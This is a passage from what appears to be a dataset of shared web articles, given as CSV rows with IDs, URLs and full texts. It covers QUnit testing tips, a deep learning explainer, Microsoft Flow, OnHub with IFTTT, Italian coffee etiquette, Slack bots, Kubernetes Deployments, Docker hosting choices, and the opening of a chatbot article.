together, it's possible to have tests that should pass but fail or tests that should fail but pass. This is a result of a test having invalid results because of side effects of a previous test: The first append() adds a <div> that the second equal() doesn't take into account. Solution Use the QUnit.test() method to keep tests atomic, being careful to keep each assertion clean of any possible side effects. You should only rely on the fixture markup, inside the #qunit-fixture element. Modifying and relying on anything else can have side effects: QUnit will reset the elements inside the #qunit-fixture element after each test, removing any events that may have existed. As long as you use elements only within this fixture, you don't have to manually clean up after your tests to keep them atomic. Discussion In addition to the #qunit-fixture fixture element and the filters explained in the section called ""Efficient Development"" , QUnit also offers a ?noglobals flag. Consider the following test: In a normal test run, this passes as a valid result. Running the ok() test with the noglobals flag will cause the test to fail, because QUnit detected that it polluted the window object. There is no need to use this flag all the time, but it can be handy to detect global namespace pollution that may be problematic in combination with third-party libraries. And it helps to detect bugs in tests caused by side effects. Grouping Tests Problem You've split up all of your tests to keep them atomic and free of side effects, but you want to keep them logically organized and be able to run a specific group of tests on their own. Solution You can use the QUnit.module() function to group tests together: All tests that occur after a call to QUnit.module() will be grouped into that module. The test names will all be preceded by the module name in the test results. You can then use that module name to select tests to run (see the section called ""Efficient Development"" ). Discussion In addition to grouping tests, QUnit.module() can be used to extract common code from tests within that module. The QUnit.module() function takes an optional second parameter to define functions to run before and after each test within the module: You can specify both beforeEach and afterEach properties together, or just one of them. Calling QUnit.module() again without the additional argument will simply reset any beforeEach/afterEach functions defined by another module previously. Custom Assertions Problem You have several tests that duplicate logic for asserting some expectation. This repetitive code lessens the readability of your tests and increases the surface for bugs. Solution Define a function to encapsulate the expectation in a reusable unit. Invoke within the body to notify QUnit that an assertion has taken place. Discussion Custom assertions can help make test suites more readable and more maintainable. At a minimum, they are simply functions that invoke with a Boolean value--this is how QUnit detects that an assertion has taken place and the result of that assertion. It is a good practice to define this function as a method on the global QUnit.assert object. This helps communicate the purpose of the function to other developers. You may accomplish this by directly assigning a new property on the object (i.e. QUnit.assert.myAssertion = myAssertion; ) or using QUnit.extend (i.e. QUnit.extend(QUnit.assert, { myAssertion: myAssertion }); ). Efficient Development Problem Once your testsuite takes longer than a few seconds to run, you want to avoid wasting a lot of time just waiting for test results to come in. Solution QUnit has a bunch of features built in to make up for that. The most interesting ones require just a single click to activate. Toggle the ""Hide passed tests"" checkbox at the top, and QUnit will only show you tests that failed. That alone doesn't make a difference in speed, but already helps focusing on failing tests. It gets more interesting if you take another QUnit feature into account, which is enabled by default and usually not noticable. Whenever a test fails, QUnit stores the name of that test in sessionStorage . The next time you run a testsuite, that failing test will run before all other tests. The output order isn't affected, only the execution order. In combination with the ""Hide passed tests"" checkbox you will then get to see the failing test, if it still fails, at the top, as soon as possible. Discussion The automatic reordering happens by default. It implies that your tests need to be atomic, as discussed previously . If your tests aren't, you'll see random non-deterministic errors. Fixing that is usually the right approach. If you're really desperate, you can set QUnit.config .reorder = false . In addition to the automatic reordering, there are a few manual options available. You can rerun any test by clicking the ""Rerun"" link next to that test. That will add a ""testNumber=N"" parameter to the query string, where ""N"" is the number of the test you clicked. You can then reload the page to keep running just that test, or use the browser's back button to go back to running all tests. Running all tests within a module works pretty much the same way, except that you choose the module to run using the select at the top right. It'll set a ""module=N"" query string, where ""N"" is the encoded name of the module, for example ""?module=testEnvironment%20with%20object"". *This page was first published, under a non-exclusive license, as a chapter in the jQuery Cookbook, authored by Scott González and Jörn Zaefferer. As QUnit changed since the book was printed, this version is more up-to-date.",en
1461968743,CONTENT SHARED,-3410781775610270991,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.datasciencecentral.com/m/blogpost?id=6448529%3ABlogPost%3A418579,Deep Learning Demystified,"Guest blog post by Christopher Dole and other contributors, originally posted here . Created by SoothSayerAnalytics . Deep Learning is one of the most revolutionary and disruptive technologies ever developed in Data Science. Essentially, this is a class of algorithms inspired by how the human brain works, and it has the ability to automate and replace most of the world's jobs. This is what enables self-driving cars to function and what allows Spotify to create very customized playlists and recommendations. This is how YouTube is able to identify faces and animals in videos and how Siri can understand and process free speech in milliseconds. Deep Learning has also led to several recent advancements in healthcare. Deep Learning can be utilized to improve the efficiency of traditional models by automatically extracting new features. Processes that previously took experts prohibitive amounts of time, can now be automated and accomplished in a fraction of the time. It can also be used for extremely accurate forecasting and prediction. While the goal of this paper is to demystify Deep Learning, it does require a certain level of mathematical knowledge, and it is intended for a more technical audience. A Brief History of Neural Networks The history of Neural Networks (NN) is diverse, and their origins date back to the 1940's. However, a functioning version of a Neural Network did not appear until 1957. The Perceptron, developed by Frank Rosenblatt, Charles Wightman, and others, was a two layer network designed for pattern recognition. Perceptrons are limited in the sense that the output is essentially a linear combination of the inputs. Hence, Perceptrons failed to address certain problems like classification tasks that required modeling nonlinear boundaries. This inherent limitation led to the first spurn in this area of research. The final note of this era was brought about by a campaign from Marvin Minsky and Seymour Papert to get funding diverted to the field of Artificial intelligence. In their 1969 book, Perceptrons , they noted that Perceptrons were unable to handle a simple XOR problem (Figure 1). This led to a rapid decrease in the number of active researchers, and the field went underground until the 1980's. Figure 1: There is no way to partition the 1's and 0's into their own sections groups using a straight line. In the early 1980's, Neural Networks saw a renaissance due to the work of John Hopfield and other established researchers. Hopfield popularized the idea of a hybrid network with multiple layers. The most common architecture of such a network is known as a Feed Forward Neural Network, or FNN. Figure 2: A Feed Forward Neural Network A Feed Forward Neural Network is comprised of an input layer, an output layer, and any number of hidden layers - usually just one, in a typical, non-deep neural network. The input layer is the first layer, while the output layer is the last layer. Each layer sends its outputs to the next layer without layers communicating with the layers ""behind"" them. The benefit of such a network is that every neuron in the internal layer is a nonlinear combination of the previous layer. While any level of non-linearity can be described using a single layer, the richness of the features is greatly enhanced when multiple layers are used. To use an analogy, human brains excel at capturing raw data at a sensor level (e.g. eyes and ears), and using layers of neurons to build multiple levels of representations of the input information using meta-features. Due to this, the brain perceives a different but more relevant description of the input. In a Neural Network, each layer creates better representations of the previous layers. In that sense, Neural Networks can be seen as feature generators. While a perceptron is a single neuron that can only do a linear separation of data spaces, a FNN can separate data in a non-linear fashion, which allows for much broader applications. This architecture led to a new problem of how to train the multiple layers on data, which eventually led to the idea of back propagation, or Neural Networks with connections between neurons that could go both forward and backward. To train a FNN on a training set, one needs to find the weight vectors that minimize some error metric between predicted and actual values. When a sample is run through a FNN in back propagation, the error is calculated, and then the weight vectors on the output layer are adjusted to reduce this error. These adjusted weight vectors are then propagated backwards through the network, so that all the weight vectors of previous layers can also be modified. This has to take place several times on the training data to achieve the desired accuracy. The adjustment of the weights is carried out using stochastic gradient descent: w = w -n∇ Err (LinkedIn does not allow for the full equation, but you get the point) Where n is called the learning rate and Err is the defined error function, typically squared error. The gradient is operating on Err with respect to the weight vectors. Unfortunately, back propagation with multiple hidden layers posed substantial challenges like vanishing gradients and over-fitting. For example, while propagating the error in cases where there are multiple layers, the gradient would simply vanish after the first couple of layers. This made convergence more difficult and sub-optimal, and there was a high chance of getting stuck in local minima and model over-fitting. Deep Neural Networks In 2005, the problem of optimizing these networks was solved, in parallel, by a group of researchers from Stanford and the University of Toronto. The researchers figured out how to train each layer, one at a time, and used back propagation as a fine tuning element. This led to the ability of having unsupervised training and automatic feature extraction using these types of networks. During this time, the term Deep Learning was coined to describe these deep layered Neural Networks. These solutions were namely Auto Encoders and Restricted Boltzmann Machines. Both techniques are unsupervised, unlike back propagation, which is supervised. Auto Encoders The idea behind the use of Auto Encoders is to build richer feature sets that are by definition more compact than the input. This follows the argument made earlier regarding the human brain striving to create such compact representations for efficient reasoning. Auto-encoders consist of an encoder and a decoder. This represents itself as three layers of neurons, with an input and output layer, as well as a hidden layer. Figure 3: Example of an Auto Encoder. An Auto Encoder typically has fewer nodes in the hidden layer than in the input/output layers which share the same number of nodes. The reason for this is that Data Scientists typically seek to reduce the dimensionality of the data. For example, if the activation functions of the nodes in the hidden (k-nodes) layer are linear, then the auto-encoder is essentially copying the method of PCA and mapping the variables onto the k-principle axis. However, if the activation function is non-linear, then this allows the auto-encoder to capture multi-modal behavior in the input data. As we do not have explicit target labels, we fix the target labels equal to the input, and force the hidden layer to contain fewer nodes. After an input vector, , is entered into the auto-encoder, a hidden vector, , is created by the hidden layer. This hidden vector represents the new encoding representation of the data based off of new features. On the output layer, the hidden vector is used to attempt to reconstruct the input vector, . To train the auto-encoder, an error function is defined using the output and input vectors, typically using squared error. This concept can be extended to multiple layers, where each subsequent layer 'encodes' the previous layer using significantly fewer neurons. Once this is found, back propagation is used to redefine all the weights as defined for FNN's. This simple reduction of nodes at each layer, along with unsupervised learning, has led to phenomenal automated feature engineering and has dramatically outperformed the past 30 years of human feature engineering in many tasks. For example, the image below shows a representation of a stack of layers in a DNN with each layer being more compact than the previous one. Let us assume that the task at hand is to identify objects in images. If we reconstruct sections of neurons at different points in the network, we can find a progression of feature hierarchies for corners and edges related to human and cat faces. Figure 4: Hierarchical feature representation in deep neural networks. (Source: Google) Sparse Auto Encoders The inspiration for Sparse Auto Encoders came from the realization that the human brain does not restrict itself to the same features for each recognition task. For example, we use different unique features to remember different faces. Analogously, not all nodes in the hidden layer require activation for every input vector. To enforce this in a more formal way, Sparse Auto Encoders have many more hidden nodes. The activation function of the nodes in the hidden layer takes the values between 0 and 1. This can be thought of as the neuron not firing or firing respectively. An average rate of firing, ᾱ , can be defined for a node by averaging over all of its input variables. In Sparse Auto Encoders, we force the average firing rate to a fixed, small value, α , which causes most of the hidden nodes to become inactive. Because of this, a Sparse Auto Encoder may have a larger value of hidden nodes than the input layer, and only a small fraction of them are active at a time. This is achieved by imposing a penalty on the activation function anytime ᾱ deviates from α . Imposing this sparsity on the Auto Encoder significantly increases the performance of classification tasks. Restricted Boltzmann Machines A Restricted Boltzmann Machine (RBM) is a generative stochastic Artificial Neural Network invented by Geoffrey Hinton's team at the University of Toronto. It is comprised of two layers of neurons. The purpose of a RBM is to learn a probability distribution over its set of inputs. RBMs strive to build a more noise resistant model with the premise that small perturbations in the inputs should not affect the prediction. Returning to the human brain analogy, humans have an amazing ability to recognize objects in noisy environments (e.g. recognizing someone by his/her face even as the face changes because of age, grooming habits, etc.). Training of a RBM consists of optimizing weights such that probabilities assigned to a training set are maximized. One way to accomplish this is to use a method known as Contrastive Divergence (CD). This involves taking an input vector and computing the probabilities of the hidden units to get a sample hidden vector. Hence, the outputs are activated in a stochastic manner, where the probability of the activation depends on the nonlinear combination of inputs. Then using the generated outputs an input vector is reconstructed. Note that v' is close to the original input, , but not the same. We use and run it again through the network to get a new hidden vector, . We use the difference between the outer products of ( , h ) and ( , h' ) to update the weights. CD can be carried out any number of times to minimize the difference between and . Soothsayer Analytics Soothsayer Analytics engages with companies to solve challenging Data Science problems and actively works with state-of-the-art techniques. We help clients predict the future, optimize their business, and identify micro-patterns and hidden connections that traditional methods cannot. We build custom algorithms and analytic tools, contribute to advanced R&D, and help companies build internal Analytic Centers of Excellence. All of our Data Scientists hold a PhD or Masters and have a heavy background in Mathematics and Programming. If you would like to explore how Soothsayer can help your company become more data driven, visit us at www.SoothsayerAnalytics.com , call us at 1-844-44-SOOTH, or e-mail us at Info@SoothsayerAnalytics.com . Authors: Murthy Kolluru, Akshay Deshpande, Jarred Hudson, & Chris Dole",en
1461976158,CONTENT SHARED,-5331421579623797776,-1032019229384696495,480408963136798066,,,,HTML,http://mashable.com/2016/04/29/microsoft-flow-connect/,Microsoft wants to connect all your favorite apps with Flow,"There are so many different apps, programs and services we use on a daily basis, or even a minute-by-minute basis. Navigating through all those different things, while important, can be annoying. Email, texts, Twitter , Slack, Google Drive and Dropbox are just a few examples, and being able to condense that list down would be a huge help. Microsoft made Flow to do just that, allowing you to connect apps and services and automate portions of your workflow, easing the need to check each thing every minute to make sure you didn't miss anything new. You can set up notifications across platforms, sync up folders in different programs or automate software approvals. Flow works similarly to If This Then That (IFTT), creating ""recipes"" between apps and services so that when certain events happen in one, something will happen in another. With Flow, you can set up text notifications for when certain people email you, get a message in Slack when a file or folder in Dropbox is changed or added, save tweets or share them on Facebook, automatically copy files between Google Drive and Dropbox, or automatically approve new members for a MailChimp list. Microsoft has already set up a bunch of different Flow templates you can try for yourself, which are available on the Flow website. You can easily browse through categories like ""social media,"" ""productivity"" or ""collect data."" You can also create your own Flows using a large number of apps and programs. Flow is currently available as a preview and is free to sign up for as long as you have a work or school Office 365 account. Have something to add to this story? Share it in the comments.",en
1462023572,CONTENT SHARED,-1625815289565836489,-1443636648652872475,1835037126474187356,,,,HTML,http://arstechnica.com/gadgets/2016/04/googles-onhub-router-finally-gets-some-smart-home-features-via-ifttt/,Google's OnHub router finally gets some smart home features via IFTTT,"Google's OnHub router just got a major new feature: IFTTT support . The demoed features let you do things like lock your doors when your device disconnects from the router or send an e-mail when someone connects to your wireless network. There are a few example recipes on this IFTTT page , or you can make your own using any of the channels supported on IFTTT. IFTTT (If This Then That) is a service that lets you connect apps to other apps or connect apps to smart home devices. Developers for apps and services can build "" If"" triggers and ""Do"" actions that plug into the site. Users can make a ""recipe"" by combining these triggers and actions into a useful program, using the format ""If [something happens], do [this action]."" Say you want to automatically Tweet out a link every time an article on a website is posted. You can grab the RSS trigger function, so now you have ""if a new item on this RSS feed appears, then [do this action]."" Then you can combine it with the Twitter action and make ""if a new item on this RSS feed appears, then tweet it out."" Each trigger and action has its own configuration options, so you can do necessary plumbing like giving the ""RSS action"" the exact RSS feed it needs and giving the Twitter bot your login credentials so it can post from your account. All of the triggers and actions run on the IFTTT service, basically making it an app store for actions and triggers. For the OnHub, Google built one trigger for a device connecting, one trigger for a device disconnecting, and an action to ""prioritize"" a certain device, which just gives it a stronger Wi-Fi connection. You can combine these with the over 300 other supported apps and devices on IFTTT, so there's probably something cool you can teach the router to do. Further Reading Today it's a $200 Wi-Fi router. Tomorrow? We have no idea. (Ok, maybe some idea.) The OnHub was released as a $200 Wi-Fi router that didn't have the performance or capabilities to match other $200 routers. Its only real differentiators were the funky design, easy setup, and the promise of future updates. It's also packed with smart home antennas that Google still doesn't really talk about. There's also support for Bluetooth 4.1, Google's ""Thread"" network protocol (based on IEEE 802.15.4), and ""Weave"" communication standard. With the extra antennas and the label on the bottom of the router declaring ""Built for Google On,"" many believed this was the start of Google's smart home ecosystem. The speed of these updates has been slower than anyone expected. There have been a few tweaks to how the device works and some security patches, but most of the big stuff is still missing. Eight months later, the OnHub still doesn't support IPv6 and the USB port still can't be used for network storage. Bluetooth, Thread, and Weave support are all still dormant. Now with the IFTTT update, the OnHub finally supports some smart home features-but it's using someone else's ecosystem! IFTTT is now the gateway for controlling other things in your house via the OnHub, rather than using some kind of Google communication standard like we expected. This is all still happening over Wi-Fi, too, so the OnHub is still not using any of the smart-home antennas it shipped with. As the only router with IFTTT support, though, this move at least gives the OnHub a promising feature set for smart home users. Listing image by Ron Amadeo",en
1462025347,CONTENT SHARED,-1313614305945895108,-1032019229384696495,480408963136798066,,,,HTML,http://www.telegraph.co.uk/travel/destinations/europe/italy/articles/italian-coffee-culture-a-guide/,Ordering coffee in Italy: the 10 commandments,"I once met an Italian who didn't drink coffee. He made light of the fact, but you could see that he was tired of having to explain his disability every time some new acquaintance uttered the standard Italian greeting: ""Prendiamo un caffè?"" (""Fancy a coffee?""). His breezy but faintly passive-aggressive manner concealed, I suspect, deep pools of self-doubt and underground lakes of wounded masculine pride. Vegetarians develop the same nonchalant yet haunted look when travelling in places like Mongolia, where meat comes with a side-dish of meat. But this Italian guy wasn't a visitor, he was local. He was the Mongolian vegetarian. Coffee is so much a part of Italian culture that the idea of not drinking it is as foreign as the idea of having to explain its rituals. These rituals are set in stone and not always easy for outsiders to understand. In fact, as in any self-respecting cult, they are made deliberately hard to comprehend, so that the initiated can recognise each other over the bar counter without the need for a curious handshake (which would only lead to stubborn cappuccino stains). Some might object that the Italian coffee cult is now a worldwide church with branches in London, Dubai and Bora Bora. But although the Arabica coffee blend is often perfect, the cups just the right size and shape, the machines as Made in Italy as they come, Italian coffee bars outside Italy almost always adapt to the host culture - just like the vast majority of Chinese restaurants outside China. If you take your cue from your local high street espresso purveyor, you risk straying from the True Path on arrival in Italy. Here, then, for those who fancy going native in true Lorenzo of Arabica style, are the Ten Commandments of Il Culto del Caffè . 1. Milk in the morning Thou shalt only drink cappuccino, caffé latte, latte macchiato or any milky form of coffee in the morning, and never after a meal. Italians cringe at the thought of all that hot milk hitting a full stomach. An American friend of mine who has lived in Rome for many years continues, knowingly, to break this rule. But she has learnt, at least, to apologise to the barman. 2. Keep in simple Thou shalt not muck around with coffee. Requesting a mint frappuccino in Italy is like asking for a single malt whisky and lemonade with a swizzle stick in a Glasgow pub. There are but one or two regional exceptions to this rule that have met with the blessing of the general coffee synod. In Naples , thou mayst order un caffè alla nocciola - a frothy espresso with hazelnut cream. In Milan thou can impress the locals by asking for un marocchino, a sort of upside-down cappuccino, served in a small glass which is first sprinkled with cocoa powder, then hit with a blob of frothed milk, then spiked with a shot of espresso. Credit: 2013 Scott Griessel/Creatista/Scott Griessel/Creatista 3. Never say 'espresso' Which reminds me, thou shalt not use the word espresso. This a technical term in Italian, not an everyday one. As espresso is the default setting and single the default dose, a single espresso is simply known as un caffè. 4. Double trouble Thou can order un caffè doppio (a double espresso) if thou likest, but be aware that this is not an Italian habit. Italians do drink a lot of coffee, but they do so in small, steady doses. 5. Say it loud Thou shalt head confidently for the bar, call out thine order even if the barista has his back to you, and pay afterwards at the till. 6. Just the ticket If it's an airport or station bar or a tourist place where the barista screams ""ticket"" at thee, thou shalt, if thou can bear the ignominy, pay before thou consumest. 7. Standing room only Thou shalt not sit down unless thou hast a very good reason. Coffee is a pleasurable drug, but a drug nevertheless, and should be downed in one, standing. Would thou sit down at a pavement table to take thy daily Viagra? Credit: clownbusiness - Fotolia 8. Some like it hot Thou shouldst expect thy coffee to arrive at a temperature at which it can be downed immediately as per the previous commandment. If thou preferest burning thy lips and tongue or blowing the froth off thy cappuccino in a vain attempt to cool it down thou shouldst ask for un caffè bollente. 9. The permitted drinks Thou shall be allowed the following variations, and these only, from the Holy Trinity of caffè, cappuccino and caffé latte: caffè macchiato or latte macchiato - an espresso with a dash of milk or a hot milk with a dash of coffee (remember, mornings only); caffè corretto: the Italian builder's early morning pick-me-up, an espresso ""corrected"" with a slug of brandy or grappa; and caffè freddo or cappuccino freddo (iced espresso or cappuccino) - but beware, this usually comes pre-sugared. Thou mayst also ask for un caffè lungo or un caffè ristretto if thou desirest more or less water in thine espresso. 10. That is all Anything else you may have heard is heresy.",en
1462030259,CONTENT SHARED,966067567430037498,-1443636648652872475,1835037126474187356,,,,HTML,http://venturebeat.com/2016/04/29/to-bot-or-not-to-bot/,To bot or not to bot,"Everyone is talking bots these days, and they stress good points  -  new interaction options, lots of opportunities for distribution and discovery, and exciting new possibilities to deliver services to users. While I am happy with people's excitement with this trend, I also want to stress that bots are a means to an end, and that end is a great product or service for the end user. Done wrong, bots could be as useful as blinking text in old websites  -  a gimmick that no one remembers. There are also other means to provide great services, even over a chat interface, that are not necessarily bots. Keep in mind that Bots are only one of several UX features in conversational interfaces Bots are a great hammer, but not everything is a nail Bots are only as wonderful as the service they expose As with all interfaces ,  exposing your service with a bot will not make it awesome unless it is already awesome. Lets define a bot for this conversation. Bots are digital users within a messaging product. Unlike most users, they are powered by software rather than by a human , and they bring a product or service into a given messaging product via the conversational interface. There are other extremely effective features within messaging products that are not bots that can be just as, or more, useful than a bot user. We have a few ways you can build an app into Slack that don't require a bot user but can be equally or even more powerful than a bot user: Notifications : Post messages into channel/thread/group.  In Slack we call these Incoming Webhooks and they are great for a one directional information flow. Slash Commands : Run a command-line style query or task execution from within the conversational interface. In Slack we call these Slash commands and they are great for simple tasks and queries. Interactive Messages : Buttons in chat messages that let you perform inline actions. Check out our roadmap for more info on when this is coming to Slack. It is all about the service OK, so the first thing we need to ask ourselves is, what product/service do I want to build? Then we need to ask, what is the optimal way to expose this service? It might sound silly, but many product managers and developers are so excited about bots that they try to ""fit a square bot into a round hole."" Here are some examples where you might not need to build a bot: News notifications Alerts (social alerts for example) Simple single line task or queries All of these services can be provided with simple conversational interfaces such as posting messages and slash commands . There is no need for NLP, no complex conversational scripting, and no conversational back-and-forth. To date, the majority of our integrations are not implemented via bots. When are bots useful? Bots are useful in cases where it is easier, and more productive, to provide the service via a conversation with this software-based user. Examples for services that might be exposed as bots include Support and help-desk Hiring and recruiting Personal assistant and team coordination As you can see, these are more complex types of services that might be ""outsourced"" to bots. Bots are useful in cases where the service would be best exposed by talking to someone, or by someone talking to others  -  a support representative, an assistant, a sales rep, a coordinator, and so forth. In these cases bots can automate (some of) these conversations. A bot can also serve as the front line or a liaison between the user and the human service provider. Check out the Xprt app on Slack as an example for that. Bots are also useful for keeping context in a conversation - when a user talks to a bot, we can infer context, and that can help deliver the service faster and simpler. How to test if you need a bot to provide your service Very similar to wizard of oz prototyping in design, a simple way to test if your service is best exposed as a bot is to actually try to turn it into a conversation with an imaginary assistant. Imagine you are a VP in an important company (I hope you all are) and can source anyone at any time. Now ask yourself ,  would I want to get this service by talking to someone. If the answer is yes, that might be a good one to expose via a bot. [Thanks to Noah Weiss , Matt Haughey , and Slack API .] Amir Shevat is head of developer relations at Slack . More : MobileBeat 2016 is focused on the paradigm shift from apps to AI, messaging, and chatbots. Don't miss this opportunity: July 12 and 13 in San Francisco.",en
1462045096,CONTENT SHARED,5965544132537436406,-8020832670974472349,6430064769990682191,,,,HTML,http://blog.kubernetes.io/2016/04/using-deployment-objects-with.html,Kubernetes,"Editor's note: this is the seventh post in a series of in-depth posts on what's new in Kubernetes 1.2 Kubernetes has made deploying and managing applications very straightforward, with most actions a single API or command line away, including rolling out new applications, canary testing and upgrading. So why would we need Deployments? Deployment objects automate deploying and rolling updating applications. Compared with kubectl rolling-update, Deployment API is much faster, is declarative, is implemented server-side and has more features (for example, you can rollback to any previous revision even after the rolling update is done). In today's blogpost, we'll cover how to use Deployments to: Deploy/rollout an application Update the application declaratively and progressively, without a service outage Rollback to a previous revision, if something's wrong when you're deploying/updating the application Without further ado, let's start playing around with Deployments! Getting started If you want to try this example, basically you'll need 3 things: A running Kubernetes cluster : If you don't already have one, check the Getting Started guides for a list of solutions on a range of platforms, from your laptop, to VMs on a cloud provider, to a rack of bare metal servers. Kubectl, the Kubernetes CLI : If you see a URL response after running kubectl cluster-info, you're ready to go. Otherwise, follow the instructions to install and configure kubectl; or the instructions for hosted solutions if you have a Google Container Engine cluster. The configuration files for this demo . If you choose not to run this example yourself, that's okay. Just watch this video to see what's going on in each step. Diving in The configuration files contain a static website. First, we want to start serving its static content. From the root of the Kubernetes repository, run: $ kubectl proxy --www=docs/user-guide/update-demo/local/ & Starting to serve on ... This runs a proxy on the default port 8001. You may now visit the demo website (and it should be a blank page for now). Now we want to run an app and show it on the website. $ kubectl run update-demo --image=gcr.io/google_containers/update-demo:nautilus --port=80 -l name=update-demo deployment ""update-demo"" created This deploys 1 replica of an app with the image ""update-demo:nautilus"" and you can see it visually on . The card showing on the website represents a Kubernetes pod, with the pod's name (ID), status, image, and labels. Getting bigger Now we want more copies of this app! $ kubectl scale deployment/update-demo --replicas=4 deployment ""update-demo"" scaled Updating your application How about updating the app? $ kubectl edit deployment/update-demo This opens up your default editor, and you can update the deployment on the fly. Find .spec.template.spec.containers[0].image and change nautilus to kitty. Save the file, and you'll see: deployment ""update-demo"" edited You're now updating the image of this app from ""update-demo:nautilus"" to ""update-demo:kitty"". Deployments allow you to update the app progressively, without a service outage. After a while, you'll find the update seems stuck. What happened? Debugging your rollout If you look closer, you'll find that the pods with the new ""kitty"" tagged image stays pending. The Deployment automatically stops the rollout if it's failing. Let's look at one of the new pod to see what happened: $ kubectl describe pod/update-demo-1326485872-a4key Looking at the events of this pod, you'll notice that Kubernetes failed to pull the image because the ""kitty"" tag wasn't found: Failed to pull image ""gcr.io/google_containers/update-demo:kitty"": Tag kitty not found in repository gcr.io/google_containers/update-demo Rolling back Ok, now we want to undo the changes and then take our time to figure out which image tag we should use. $ kubectl rollout undo deployment/update-demo deployment ""update-demo"" rolled back Everything's back to normal, phew! To learn more about rollback, visit rolling back a Deployment . Updating your application (for real) After a while, we finally figure that the right image tag is ""kitten"", instead of ""kitty"". Now change .spec.template.spec.containers[0].image tag from ""nautilus"" to ""kitten"". $ kubectl edit deployment/update-demo deployment ""update-demo"" edited Now you see there are 4 cute kittens on the demo website, which means we've updated the app successfully! If you want to know the magic behind this, look closer at the Deployment: $ kubectl describe deployment/update-demo From the events section, you'll find that the Deployment is managing another resource called Replica Set , each controls the number of replicas of a different pod template. The Deployment enables progressive rollout by scaling up and down Replica Sets of new and old pod templates. Conclusion Now, you've learned the basic use of Deployment objects: Deploy an app with a Deployment, using kubectl run Updating the app by updating the Deployment with kubectl edit Rolling back to a previously deployed app with kubectl rollout undo But there's so much more in Deployment that this article didn't cover! To discover more, continue reading Deployment's introduction . Note: In Kubernetes 1.2, Deployment (beta release) is now feature-complete and enabled by default. For those of you who have tried Deployment in Kubernetes 1.1, please delete all Deployment 1.1 resources (including the Replication Controllers and Pods they manage) before trying out Deployments in 1.2. This is necessary because we made some non-backward-compatible changes to the API. If you're interested in Kubernetes and configuration, you'll want to participate in: And of course for more information about the project in general, go to www.kubernetes.io . -- Janet Kuo, Software Engineer, Google 1 ""kubectl run"" outputs the type and name of the resource(s) it creates. In 1.2, it now creates a deployment resource. You can use that in subsequent commands, such as ""kubectl get deployment "", or ""kubectl expose deployment "". If you want to write a script to do that automatically, in a forward-compatible manner, use ""-o name"" flag with ""kubectl run"", and it will generate short output ""deployments/ "", which can also be used on subsequent command lines. The ""--generator"" flag can be used with ""kubectl run"" to generate other types of resources, for example, set it to ""run/v1"" to create a Replication Controller, which was the default in 1.1 and 1.0, and to ""run-pod/v1"" to create a Pod, such as for --restart=Never pods.",en
1462045744,CONTENT SHARED,-4295420427690447901,-8020832670974472349,6430064769990682191,,,,HTML,https://blog.docker.com/2016/04/physical-virtual-container-deployment/,To Use Physical Or To Use Virtual: That is the container deployment question,"I have had a version of the following conversation more than a few times with community members trying to sort out where to run their containerized apps in production: User : So, where should I run my containers? Bare metal or VM's Me : It's not a question of ""either / or"" - that's the beauty of Docker. That choice is based solely on what's right for your application and business goals - physical or virtual, cloud or on premise. Mix and match as your application and business needs dictate (and change). User : But, surely you have a recommendation. Me : I'm going to give you the two word answer that nobody likes: It depends. User : You're right, I don't like that answer. Me : I kind of figured you wouldn't, but it really is the right answer. There are tough questions in the world of tech, and the answer ""It depends"" can often be a cop out. But in the case of where to run your containerized applications it really is the best answer because no two applications are exactly the same, and no two companies have exactly the same business needs. Any IT decision is based on a myriad of variables: Performance, scalability, reliability, security, existing systems, current skillsets, and cost (to name just a few). When someone sets out to decide how to deploy a Docker-based application in production all of these things need to be considered. Docker delivers on the promise of allowing you to deploy your applications seamlessly regardless of the underlying infrastructure. Bare metal or VM. Datacenter or public cloud. Heck, deploy your app on bare metal in your data center and on VMs across multiple cloud providers if that's what is needed by your application or business. The key here is that you're not locked into any one option. You can easily move your app from one infrastructure to another. There is essentially zero friction. But that freedom also makes the process of deciding where to run those apps seem more difficult than it really is. The answer is going to be influenced what you're doing today, and what you might need to do in the future. So while I can't answer ""Where should I run my app"" outright, I can provide a list of things to consider when it comes time to make that decision. I'm sure this list is far from complete, but hopefully it's enough to start a conversation and get the gears turning Latency : Applications with a low tolerance for latency are going to do better on physical. This something we see quite a bit in financial services (trading applications are prime example). Capacity : VMs made their bones by optimizing system load. If your containerized app doesn't consume all the capacity on a physical box, virtualization still offers a benefit here. Mixed Workloads : Physical servers will run a single instance of an operating system. So, you if you wish to mix Windows and Linux containers on the same host, you'll need to use virtualization Disaster Recovery : Again, like capacity optimizations, one of the great benefits of VMs are advanced capabilities around site recovery and high availability. While these capabilities may exist with physical hosts, the are a wider array of options with virtualization. Existing Investments and Automation Frameworks : A lot of the organizations have already built a comprehensive set of tools around things like infrastructure provisioning. Leveraging this existing investment and expertise makes a lot of sense when introducing new elements. Multitenancy : Some customers have workloads that can't share kernels. In this case VMs provide an extra layer of isolation compared to running containers on bare metal. Resource Pools / Quotas : Many virtualization solutions have a broad feature set to control how virtual machines use resources. Docker provides the concept of resource constraints , but for bare metal you're kind of on your own. Automation/APIs : Very few people in an organization typically have the ability to provision bare metal from an API. If the goal is automation you'll want an API, and that will likely rule out bare metal. Licensing Costs : Running directly on bare metal can reduce costs as you won't need to purchase hypervisor licenses. And, of course, you may not even need to pay anything for the OS that hosts your containers. There is something really powerful about being able to make a decision on where to run your app solely based on the technical merits of the platform AND being able to easily adjust that decision if new information comes to light. In the end the question shouldn't be ""bare metal OR virtual"" - the question is which infrastructure makes the most sense for my application needs and business goals. So mix and match to create the right answer today, and know with Docker you can quickly and easily respond to any changes in the future. Read more by Mike Coleman in this series: Check out these resources to start learning more about Docker and containers: Learn More about Docker",en
1462052926,CONTENT SHARED,-9002191823887486987,-1443636648652872475,1835037126474187356,,,,HTML,https://www.technologyreview.com/s/601329/is-the-chatbot-trend-one-big-misunderstanding/,Is the Chatbot Trend One Big Misunderstanding?,"Is the Chatbot Trend One Big Misunderstanding? China's messaging services show that conversational interfaces are not always desirable. Picture a nightmarish future in which half-witted ""conversational user interfaces"" drive us insane with mindless conversation and misunderstandings. As U.S. tech companies rush to emulate the success of China's messaging platforms, this could be where we're headed. Dan Grover , a product manager for China's wildly successful WeChat messaging service, argues that the chatbots and chatbot tools being developed by U.S. companies, such as Microsoft and Facebook, are inspired, in large part, by the many chat-based services now available in China. These chat services can be used for all sorts of tasks, including transferring money, paying restaurant bills, and looking up flight information. The chatbots being developed in the U.S. are designed to perform tasks, such as searching for a flight or ordering a pizza, via a friendly back and forth with users. But, as Grover notes, China's most successful chat interfaces forgo natural language in favor of more conventional input mechanisms such as multiple choice answers or buttons that appear in chat bubbles. That might seem backward, but it's actually a more efficient way to order a 